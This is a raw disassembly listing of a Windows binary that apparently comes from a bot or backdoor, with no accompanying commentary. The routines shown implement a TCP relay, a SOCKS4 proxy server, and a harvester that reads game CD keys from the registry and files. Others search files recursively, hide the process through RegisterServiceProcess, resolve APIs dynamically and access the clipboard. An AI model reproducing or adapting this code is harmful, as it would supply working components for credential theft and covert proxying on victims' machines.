jmp loc_407BE0
; ---------------------------------------------------------------------------
loc_407C99: ; CODE XREF: sub_407B36+61j
; sub_407B36+93j ...
mov edi, [ebp+arg_0]
loc_407C9C: ; CODE XREF: sub_407B36+14Fj
push edi
call dword_43CABC ; closesocket
push ebx
call dword_43CABC ; closesocket
push [ebp+var_3C]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_407B36 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407CBD proc near ; DATA XREF: sub_407B36+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp+var_4], ebx
call dword_43CAA4 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407E20
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_43CA24 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_43CA64 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407D4D
lea eax, [ebp+var_13C]
push eax
call dword_43CAA8 ; gethostbyname
jmp short loc_407D5B
; ---------------------------------------------------------------------------
loc_407D4D: ; CODE XREF: sub_407CBD+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43C9DC ; gethostbyaddr
loc_407D5B: ; CODE XREF: sub_407CBD+8Ej
cmp eax, edi
jz loc_407E20
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jz loc_407E20
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_427C80
push eax
call sub_415316
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_414DDA
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_441BA4[ebx]
mov dword_441B9C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_441BA8[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_407EA5
push edi
push edi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_441BAC[ecx], eax
jnz short loc_407E59
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427C28
call sub_40B0EC
pop ecx
pop ecx
loc_407E20: ; CODE XREF: sub_407CBD+44j
; sub_407CBD+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_441BA4[eax]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call dword_43CABC ; closesocket
push [ebp+var_4]
call sub_4150F0
pop ecx
push edi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
loc_407E51: ; CODE XREF: sub_407CBD+19Fj
push 32h
call dword_421060 ; Sleep
loc_407E59: ; CODE XREF: sub_407CBD+14Ej
cmp [ebp+var_20], edi
jz short loc_407E51
mov ebx, 1000h
loc_407E63: ; CODE XREF: sub_407CBD+1E1j
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43CA3C ; recv
cmp eax, edi
jle short loc_407E20
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407E63
jmp loc_407E20
sub_407CBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407EA5 proc near ; DATA XREF: sub_407CBD+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_415B90
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407EDC: ; CODE XREF: sub_407EA5+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_441BA8[esi]
call dword_43CA3C ; recv
test eax, eax
jle short loc_407F23
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_441BA4[esi]
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407EDC
loc_407F23: ; CODE XREF: sub_407EA5+61j
push dword_441BA8[esi]
call dword_43CABC ; closesocket
push [ebp+var_14]
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
pop edi
pop esi
sub_407EA5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F42 proc near ; DATA XREF: sub_40CD3A+587Co
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_43CA24 ; ntohs
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_43CAA4 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_441BA4[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43CA50 ; bind
test eax, eax
jnz loc_4080E3
push 0Ah
push edi
call dword_43CA4C ; listen
test eax, eax
jnz loc_4080E3
push [ebp+var_40]
push [ebp+var_D4]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_427DC8
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_40801D
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412BD1
add esp, 14h
loc_40801D: ; CODE XREF: sub_407F42+B9j
; sub_407F42+18Aj ...
lea eax, [ebp+var_2D4]
push eax
call sub_40B078
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43CAB8 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D70
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_414DDA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_441B9C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_408146
push esi
push esi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_441BAC[ecx], eax
jnz short loc_4080D9
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset unk_427D20
push eax
call sub_415316
add esp, 0Ch
jmp loc_40801D
; ---------------------------------------------------------------------------
loc_4080D1: ; CODE XREF: sub_407F42+19Aj
push 5
call dword_421060 ; Sleep
loc_4080D9: ; CODE XREF: sub_407F42+16Dj
cmp [ebp+var_28], esi
jz short loc_4080D1
jmp loc_40801D
; ---------------------------------------------------------------------------
loc_4080E3: ; CODE XREF: sub_407F42+7Bj
; sub_407F42+8Cj
push edi
call dword_43CABC ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_427CD8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_408126
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_412BD1
add esp, 14h
loc_408126: ; CODE XREF: sub_407F42+1C2j
lea eax, [ebp+var_2D4]
push eax
call sub_40B078
push [ebp+var_3C]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_407F42 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408146 proc near ; DATA XREF: sub_407F42+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
xor edi, edi
mov [ebp+arg_0], esi
imul esi, 234h
inc edi
lea esi, dword_441BA4[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43CA0C ; select
test eax, eax
jnz short loc_4081C7
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4081C7: ; CODE XREF: sub_408146+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43CA3C ; recv
test eax, eax
jg short loc_4081F8
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4081F8: ; CODE XREF: sub_408146+98j
cmp [ebp+var_4D0], 4
jnz loc_4083F2
cmp [ebp+var_4CF], 1
jnz loc_4083F2
cmp [ebp+var_44], bl
jz short loc_40828E
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40828E
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset unk_427EB0
call sub_40B0EC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_415390
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43CA74 ; send
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40828E: ; CODE XREF: sub_408146+CFj
; sub_408146+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_415390
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43CAA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_408326
call dword_43C9B8 ; WSAGetLastError
push eax
push offset unk_427E60
call sub_40B0EC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415390
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43CA74 ; send
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_408326: ; CODE XREF: sub_408146+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_408395
call dword_43C9B8 ; WSAGetLastError
push eax
push offset unk_427E08
call sub_40B0EC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_415390
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43CA74 ; send
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_408395: ; CODE XREF: sub_408146+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43CA74 ; send
push dword ptr [esi]
push edi
call sub_40840A
pop ecx
pop ecx
push edi
call dword_43CABC ; closesocket
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_4083F2: ; CODE XREF: sub_408146+B9j
; sub_408146+C6j
push dword ptr [esi]
call dword_43CABC ; closesocket
push [ebp+arg_0]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_408146 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40840A proc near ; CODE XREF: sub_408146+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_408420: ; CODE XREF: sub_40840A+BEj
; sub_40840A+EEj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_408431: ; CODE XREF: sub_40840A+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_408442
inc eax
cmp eax, ecx
jb short loc_408431
loc_408442: ; CODE XREF: sub_40840A+31j
cmp eax, ecx
jnz short loc_408456
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408456: ; CODE XREF: sub_40840A+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43CA0C ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_43C91C ; __WSAFDIsSet
test eax, eax
jz short loc_4084B6
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43CA3C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4084FE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4084FE
loc_4084B6: ; CODE XREF: sub_40840A+7Ej
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43C91C ; __WSAFDIsSet
test eax, eax
jz loc_408420
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43CA3C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4084FE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz loc_408420
loc_4084FE: ; CODE XREF: sub_40840A+93j
; sub_40840A+AAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40840A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408503 proc near ; CODE XREF: sub_40CD3A+525Bp
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_427F04, ebx
mov [ebp+var_C], 80h
jz loc_4086AF
push esi
push edi
mov eax, offset off_427F04
mov esi, offset dword_427F10
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408533: ; CODE XREF: sub_408503+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43CA94 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43C930 ; RegQueryValueExA
test eax, eax
jnz loc_408696
mov eax, [esi]
cmp eax, ebx
jz loc_40865A
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_415316
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_415A08
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408696
push eax
jmp short loc_4085C3
; ---------------------------------------------------------------------------
loc_4085AE: ; CODE XREF: sub_408503+D0j
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_4085D7
push [ebp+var_8]
loc_4085C3: ; CODE XREF: sub_408503+A9j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_416FDC
add esp, 0Ch
test eax, eax
jnz short loc_4085AE
jmp short loc_40864F
; ---------------------------------------------------------------------------
loc_4085D7: ; CODE XREF: sub_408503+BBj
push 3Dh
push dword ptr [esi+4]
call sub_416F20
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_70]
jz short loc_408616
push offset asc_429118 ; "="
push eax
call sub_416B3F
push offset asc_429118 ; "="
push ebx
call sub_416B3F
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_415316
add esp, 20h
jmp short loc_40862A
; ---------------------------------------------------------------------------
loc_408616: ; CODE XREF: sub_408503+E5j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_415316
add esp, 10h
loc_40862A: ; CODE XREF: sub_408503+111j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_2F0]
push eax
call sub_40B078
add esp, 18h
loc_40864F: ; CODE XREF: sub_408503+D2j
push [ebp+var_8]
call sub_415960
pop ecx
jmp short loc_408696
; ---------------------------------------------------------------------------
loc_40865A: ; CODE XREF: sub_408503+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_2F0]
push eax
call sub_40B078
add esp, 28h
loc_408696: ; CODE XREF: sub_408503+60j
; sub_408503+A2j ...
push [ebp+var_4]
call dword_43CA00 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_408533
pop edi
pop esi
loc_4086AF: ; CODE XREF: sub_408503+19j
pop ebx
leave
retn
sub_408503 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4086B2 proc near ; DATA XREF: sub_40CD3A+3B87o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_415B10
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408707
lea eax, [ebp+var_114]
push eax
call sub_415B10
pop ecx
mov [ebp+eax+var_115], bl
loc_408707: ; CODE XREF: sub_4086B2+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_429170
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_40874C
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412BD1
add esp, 14h
loc_40874C: ; CODE XREF: sub_4086B2+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_4087CA
push eax
lea eax, [ebp+var_49C]
push offset unk_42913C
push eax
call sub_415316
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_4087AA
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412BD1
add esp, 14h
loc_4087AA: ; CODE XREF: sub_4086B2+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40B078
push [ebp+var_10]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_4086B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087CA proc near ; CODE XREF: sub_4086B2+B9p
; sub_4087CA+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41588A
mov edi, dword_4210A8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408887
loc_408816: ; CODE XREF: sub_4087CA+BBj
test [ebp+var_144], 10h
jz short loc_408873
cmp [ebp+var_118], 2Eh
jnz short loc_40883A
cmp [ebp+var_117], 0
jz short loc_408873
cmp [ebp+var_117], 2Eh
jz short loc_408873
loc_40883A: ; CODE XREF: sub_4087CA+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41588A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4087CA
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408873: ; CODE XREF: sub_4087CA+53j
; sub_4087CA+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_408816
loc_408887: ; CODE XREF: sub_4087CA+4Aj
push [ebp+var_4]
call dword_421098 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40890D
loc_4088BE: ; CODE XREF: sub_4087CA+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41588A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_4088BE
loc_40890D: ; CODE XREF: sub_4087CA+F2j
push esi
call dword_421098 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_4087CA endp
; =============== S U B R O U T I N E =======================================
sub_40891C proc near ; CODE XREF: sub_40C574+55p
push ebx
push ebp
mov ebp, dword_4210C8
push esi
push edi
push offset aKernel32_dll_0 ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4210C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_408A3C
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43CAD0, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_43CA44, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43CA28, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_43C944, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43C8F0, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43C920, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43C994, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43CA84, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43CADC, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43C950, eax
call esi ; GetProcAddress
cmp dword_43CAD0, ebx
mov dword_43C938, eax
jz short loc_408A1A
cmp dword_43CA44, ebx
jz short loc_408A1A
cmp dword_43CA28, ebx
jz short loc_408A1A
cmp dword_43C944, ebx
jz short loc_408A1A
cmp dword_43C920, ebx
jz short loc_408A1A
cmp dword_43C994, ebx
jz short loc_408A1A
cmp dword_43CA84, ebx
jz short loc_408A1A
cmp dword_43CADC, ebx
jz short loc_408A1A
cmp dword_43C950, ebx
jz short loc_408A1A
cmp eax, ebx
jnz short loc_408A24
loc_408A1A: ; CODE XREF: sub_40891C+B8j
; sub_40891C+C0j ...
mov dword_43CAE0, 1
loc_408A24: ; CODE XREF: sub_40891C+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43CA5C, eax
jz short loc_408A51
push 1
push ebx
call eax
jmp short loc_408A51
; ---------------------------------------------------------------------------
loc_408A3C: ; CODE XREF: sub_40891C+1Dj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CAE4, eax
mov dword_43CAE0, 1
loc_408A51: ; CODE XREF: sub_40891C+117j
; sub_40891C+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_408B66
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43CA80, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_43CA30, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43C9C4, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43CAD4, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43C9F4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43CA14, eax
call esi ; GetProcAddress
